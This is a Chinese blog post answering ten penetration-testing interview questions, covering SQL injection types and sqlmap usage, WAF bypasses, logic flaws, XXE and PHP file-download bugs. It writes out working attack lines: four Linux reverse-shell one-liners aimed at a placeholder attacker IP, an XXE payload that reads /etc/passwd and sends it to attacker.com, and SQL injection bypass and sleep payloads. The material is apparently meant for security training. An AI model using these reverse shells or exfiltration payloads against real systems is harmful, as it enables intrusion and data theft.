2025年渗透测试面试题总结-2025年HW(护网面试) 01(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

[2025年HW(护网面试) 01](#2025年HW(护网面试) 01)

[1. SQL注入类型与sqlmap命令](#1. SQL注入类型与sqlmap命令)

常见SQL注入类型

sqlmap检测命令

[SQLMAP API使用](#SQLMAP API使用)

[2. 服务简介与默认端口](#2. 服务简介与默认端口)

[3. 逻辑漏洞类型](#3. 逻辑漏洞类型)

[4. Linux反弹Shell方法](#4. Linux反弹Shell方法)

[5. SQL注入Bypass WAF技巧](#5. SQL注入Bypass WAF技巧)

[6. 漏洞检测代码(Python实现)](#6. 漏洞检测代码(Python实现))

[7. XXE漏洞分析](#7. XXE漏洞分析)

基本原理

[检测Blind XXE](#检测Blind XXE)

[8. 网站渗透测试思路](#8. 网站渗透测试思路)

[9. Web扫描器爬虫观点](#9. Web扫描器爬虫观点)

[10. PHP任意文件下载漏洞](#10. PHP任意文件下载漏洞)

常见函数

漏洞原因

修复方


2025年HW(护网面试) 01

复制代码
1、常见的SQL注入类型有哪些?并写出sqlmap检测SQL注入的命令?SQLMAPAPI怎么使用
2、Mongodb、redis、websphere、rsync服务简介和默认运行端口
3、写出你知道的逻辑漏洞
4、列举Linux的反弹shell的一些方法
5、针对SQL注入,写出你所知道的Bypass WAF的可能的方式
6、写出任意一种漏洞检测代码,用python实现
7、简述XXE的基本原理,以及如何去检测或者判断Blind XXE的存在
8、简述针对一个网站的渗透测试思路
9、针对Web扫描器的爬虫,你怎么看
10、简述PHP中造成任意文件下载漏洞的常见函数,以及造成漏洞的原因

1. SQL注入类型与sqlmap命令

常见SQL注入类型
  • Union-based :联合查询注入,通过UNION获取其他表数据。
  • Error-based:利用数据库报错信息泄露数据。
  • Boolean-based Blind:通过布尔条件(真/假)逐位推断数据。
  • Time-based Blind :利用延时函数(如SLEEP())判断条件真假。
  • Stacked Queries:堆叠查询,执行多条SQL语句(需后端支持)。
  • Out-of-band (OOB):通过DNS/HTTP请求外带数据(较少见)。
sqlmap检测命令
复制代码
bash`sqlmap -u "http://example.com/id=1" --risk=3 --level=5 --batch `
  • 关键参数
    • --dbs:枚举数据库;
    • --tables:枚举表;
    • --dump:导出数据;
    • --os-shell:获取系统Shell。
SQLMAP API使用
  1. 启动API服务

    复制代码
    bash`sqlmapapi -s `
  2. 客户端操作

    • 创建任务:POST /task/new → 获取taskid
    • 配置扫描:POST /scan/<taskid>/start,提交JSON参数(如{"url": "http://example.com"} );
    • 获取结果:GET /scan/<taskid>/statusGET /scan/<taskid>/data

2. 服务简介与默认端口

服务 简介 默认端口
MongoDB NoSQL文档数据库,JSON格式存储 27017
Redis 内存键值数据库,支持持久化 6379
WebSphere IBM Java应用服务器(Enterprise版) 9080(HTTP)、9043(HTTPS)
rsync 文件同步协议,常用于备份 873

3. 逻辑漏洞类型

  • 越权访问:垂直越权(普通用户访问管理员功能)、水平越权(访问他人数据)。
  • 支付漏洞 :修改订单金额(如前端传参price=0.01)、重放支付请求。
  • 密码重置漏洞 :绕过验证(如修改userid参数)、短信轰炸、验证码复用。
  • 业务逻辑绕过:优惠券无限领取、库存负数导致无限购买。
  • 条件竞争:并发请求(如抢购时多次提交)。

4. Linux反弹Shell方法

复制代码
bash`# 方法1:Bash TCP连接 bash -i >& /dev/tcp/攻击者IP/端口 0>&1 # 方法2:Netcat(传统) nc -e /bin/sh 攻击者IP 端口 # 方法3:Python python -c 'import socket,os,pty; s=socket.socket(); s.connect((" 攻击者IP",端口)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/sh")' # 方法4:加密通信(避免检测) mkfifo /tmp/f; openssl s_client -quiet -connect 攻击者IP:端口 </tmp/f | sh >/tmp/f 2>&1; rm /tmp/f `

5. SQL注入Bypass WAF技巧

  • 混淆注释/*!SELECT*/(MySQL内联注释)、--%0a(换行符绕过)。
  • 特殊编码 :URL编码(%20)、双重URL编码、Unicode编码(%u0053ELECT)。
  • 字符串拼接CONCAT('sel','ect')'s'+'e'+'l'+'e'+'c'+'t'
  • 等价函数替换
    • SUBSTRINGMID/SUBSTR
    • SLEEP()BENCHMARK(1000000,MD5('a'))
  • HTTP参数污染?id=1&id=2 UNION SELECT(WAF检测首个参数,后端取末尾)。
  • 分块传输编码:通过HTTP分块绕过正则检测。

6. 漏洞检测代码(Python实现)

漏洞类型:基于时间的SQL盲注检测

复制代码
python`import requests import time def check_time_based_sql(url, param): payloads = [ "' AND SLEEP(5)-- ", # MySQL "' WAITFOR DELAY '0:0:5'-- ", # MSSQL "' AND (SELECT COUNT(*) FROM GENERATE_SERIES(1,10000000))-- " # PostgreSQL ] for payload in payloads: start_time = time.time() res = requests.get(url, params={param: payload}) elapsed = time.time() - start_time if elapsed >= 5: print(f"[!] 存在时间盲注漏洞!Payload: {payload}") return True print("[*] 未检测到时间盲注漏洞") return False # 示例调用 check_time_based_sql("http://example.com/page", "id") `

7. XXE漏洞分析

基本原理

XML解析器未禁用外部实体(DTD),攻击者可:

  • 读取本地文件:<!ENTITY xxe SYSTEM "file:///etc/passwd">
  • 发起SSRF请求:SYSTEM "http://attacker.com"
  • 执行Blind XXE数据外带。
检测Blind XXE
  1. 带外通道(OOB)
    • 注入恶意DTD:

      复制代码
      xml`<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % dtd "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%payload;'>"> `
    • 监测攻击者服务器是否收到HTTP请求(含文件内容)。

  2. 报错回显:触发错误信息包含敏感数据(需解析器配置允许)。

8. 网站渗透测试思路

  1. 信息收集
    • Whois查询、子域名扫描(工具:Sublist3r)、端口扫描(Nmap)。
  2. 漏洞扫描
    • Web扫描器(AWVS、Burp Suite)检测SQL注入/XSS等。
  3. 手动测试
    • 逻辑漏洞(越权、支付绕过);
    • 认证与会话管理(弱密码、Session固定)。
  4. 服务层攻击
    • 中间件漏洞(如WebSphere反序列化);
    • 数据库未授权访问(Redis/MongoDB)。
  5. 后渗透
    • 提权(Linux内核漏洞);
    • 横向移动(抓取密码、SSH密钥)。

9. Web扫描器爬虫观点

  • 优点
    • 高效覆盖:自动化遍历目录、参数,识别低危漏洞(如目录遍历);
    • 标准化:减少重复性工作(如Cookie注入检测)。
  • 局限
    • 逻辑漏洞盲区:无法理解业务场景(如红包领取规则);
    • 动态内容误报:JavaScript渲染页面漏扫(需结合Headless浏览器);
    • WAF干扰:频繁请求易触发封禁。
  • 改进方向
    • AI辅助:结合机器学习识别业务逻辑;
    • 被动扫描:代理模式记录用户操作后再扫描。

10. PHP任意文件下载漏洞

常见函数
复制代码
php`readfile("/var/www/data/" . $_GET['file']); // 直接读取文件file_get_contents($filename); // 获取文件内容 fopen($_POST['path'], 'r'); // 打开文件流 `
漏洞原因
  • 未过滤用户输入 :直接拼接参数(如?file=../../.env);
  • 路径遍历 :未限制目录(../跳转);
  • 后缀校验缺失 :未检查文件类型(如.php文件被下载后源码泄露)。
修复方案
复制代码
php`// 白名单校验 $allowed = ['report.pdf', 'guide.txt']; if (in_array($_GET['file'], $allowed)) { readfile("/safe_dir/" . $_GET['file']); } else { die("非法文件!"); } `
相关推荐
YuTaoShao19 分钟前
Java八股文——数据结构「数据结构篇」
java·数据结构·面试·八股文
Little-Hu34 分钟前
linux线程同步
linux·线程·条件变量·互斥锁·信号量·线程同步·读写锁
楼台的春风1 小时前
【Linux驱动开发 ---- 4.1_sysfs 详解】
linux·运维·c语言·数据库·人工智能·驱动开发·嵌入式硬件
月光技术杂谈1 小时前
linux下MQTT订阅发布验证-mosquitto安装测试流程
linux·mqtt·订阅·mosquitto·发布·mosquitto_pub·mqtt-clients
涟涟涟涟1 小时前
UE5错误 Linux离线状态下错误 请求失败libcurl错误:6无法解析主机名
linux·ue5
听风lighting1 小时前
WebServer实现:muduo库的主丛Reactor架构
linux·运维·网络·c++·socket·webserver
Insist7532 小时前
linux操作系统---小白玩转shell脚本
linux·运维·服务器
程序员清风2 小时前
RocketMQ发送消息默认是什么策略,主同步成功了就算成功了?异步写?还是要大部分从都同步了?
java·后端·面试
YuTaoShao2 小时前
Java八股文——消息队列「场景篇」
java·面试·消息队列·八股文
Xの哲學2 小时前
hostapd状态机解析
linux·网络·算法·wireless